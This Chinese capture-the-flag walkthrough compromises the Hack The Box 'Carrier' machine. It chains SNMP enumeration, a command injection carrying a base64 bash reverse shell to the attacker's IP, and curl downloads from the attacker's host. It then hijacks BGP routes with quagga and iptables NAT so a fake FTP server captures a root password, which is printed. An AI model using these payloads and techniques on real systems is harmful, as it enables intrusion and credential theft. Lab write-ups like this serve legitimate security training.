出品|MS08067實驗室(www.ms08067.com)
本文作者:大方子(Ms08067實驗室核心成員)
Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。
https://www.hackthebox.eu/
平臺上有很多靶機,從易到難,黑客每入侵一臺機器都會獲得相應積分,通過積分排名設有名人堂。今天要實驗的是靶機Carrier。
目標靶機IP:10.10.10.105
本機IP:10.10.13.133
首先利用Nmap對目標靶機進行資訊收集
nmap -sC -F -sV 10.10.10.105
-sC:通過預設指令碼進行掃描
-sV:掃描目標主機埠上執行軟體的版本
-F:掃描100個最有可能開放的埠
顯示靶機開放了21,22,80,3306埠,但是21,3306埠被過濾了。22埠是SSH需要登陸,我們先從80埠開始看看能不能得到有用的資訊
先開啟網頁,是一個登陸頁面,有2個Error提示45007,45009,去Google查詢類似的關鍵詞發現沒有什麼可用資訊,應該是自定義的WEB框架,
我們用gobuster來進行目錄爆破
gobuster -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q
先看下tools
/tools:
點進去顯示“許可過期,正在退出”
看下doc
/doc:
一個網路架構圖還有一個是錯誤程式碼描述的PDF,根據剛剛網頁提示的錯誤程式碼我們查下對應的解釋
Error 4005:守護程式沒有響應
Error 4009:配置中沒有設定預設的使用者名稱和密碼(檢視機箱序列號)
看下/debug
沒有什麼特別有用的資訊
根據那種圖可能還有別的裝置,這樣我想起了snmp服務
所以我們掃下靶機UDP的埠看看有沒有什麼有用的資訊
nmap -sU 10.10.10.105
果然目標機器是有開啟snmp,那麼我們用snmpwalk來進行弱口令利用
snmpwalk -v 1 -c public 10.10.10.105
這個NET_45JDX23可能就是所謂的序列號
我們回到登陸進行登陸。
Username:嘗試常見的預設使用者名稱:admin, root
Password: NET_45JDX23
頁面顯示我們的憑證是無效的
我們進入Tickets
通過這條資訊 我們知道了3個網段(大概就是剛剛那個網路架構圖),還有一個FTP:10.120.15.0/24
然後我們在點Diagnosticd,提示我們憑證無效,但是可以使用檢查功能
點下Verify status
這個部分很像是遠端命令執行。
我們用BURP抓包看下資訊
Check用base64轉換下
很明顯這個quagga就是上面輸出資訊的一部分,查詢相關資料,發現這是一款路由器軟體
那麼我們設定對check這個引數進行攻擊,我們把root的base64編碼寫進去
返回資訊如下
那麼我們在試著輸入 root;echo hello
如圖發現我們是可以用;進行多語句的執行,那麼我們用bash反彈一個shell
現在用kali監聽下9001
然後轉換下編碼
這裡輸出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=
需要注意的是需要把裡面的+和=進入URL編碼轉換才行要不然會出錯
這樣我們就得到一個shell了
這樣我們就可以得到user的flag了
接下來就是獲得根ROOT的許可權
從之前的資訊我們瞭解到有一臺FTP伺服器:10.120.15.0/24
我們試著ping 10.120.15.1看看能不能ping通
我們需要在靶機上進行掃描,當然你可以用msf新增路由的方式掃描,這裡我用另一個種方法把nmap的二進位制靜態執行檔案上傳到靶機進行掃描
Github:https://github.com/andrew-d/static-binaries
然後我們用python的SimpleHTTPServer模組建立服務然後靶機去下載這個檔案
然後再靶機分別輸入如下命令
curl http://10.10.13.133:8000/nmap -o nmap
chmod +x nmap
然後我們執行
./nmap -p 21 10.120.15.0/24
發現沒有探測到,可能是目標禁止ICMP資料包
那麼我們加個-Pn引數,同時把結果匯出
./nmap -Pn -vvv -p 21 10.120.15.0/24 --open
-Pn:不進行ping直接掃描
-vvv:顯示詳細過程
--open:只顯示埠open狀態資訊
我們發現 10.120.15.10是開放21埠的
然後我們嘗試下FTP匿名登陸,登陸的時候可能不會有回顯,需要自己打
無法執行,之前那個ticks也說這個FTP出現了問題。
我們需要通過劫持BGP欺騙AS200將資料傳輸給我們的靶機,然後開啟假的FTP服務,之前的資訊有顯示到有人會定期訪問這個FTP,這樣我們就可以竊取到憑證
現在的情況大概就是圖上這個樣子
我們在終端分別輸入
vtysh (quagga的命令)
configure terminal(進入配置模式)
do show run (顯示配置資訊)
我們需要增加一個network就是把剛剛FTP的那個網段加進來
這裡我直接編輯/etc/ quagga下的bgpd.conf檔案內容也就上面顯示的內容
我們在自己的kali上編輯下內容在裡面加一條10.120.15.0/25
然後用python的SimpleHTTPServer服務上傳到靶機裡面去跟nmap一樣
把之前的檔案重新命名,然後把我們的檔案下載下來
curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con
然後在iptales上新增記錄並重啟quagga服務
iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21
iptables -t nat -A POSTROUTING -j MASQUERADE
service quagga restart
然後我們在下載一個假的ftp監聽21埠來得到憑證
Github:https://github.com/b1ngda0/FtpServicePython/
不久後就能得到賬號密碼
root:BGPtelc0rout1ng
然後ssh登陸並得到root flag
轉載請聯絡作者並註明出處!
Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!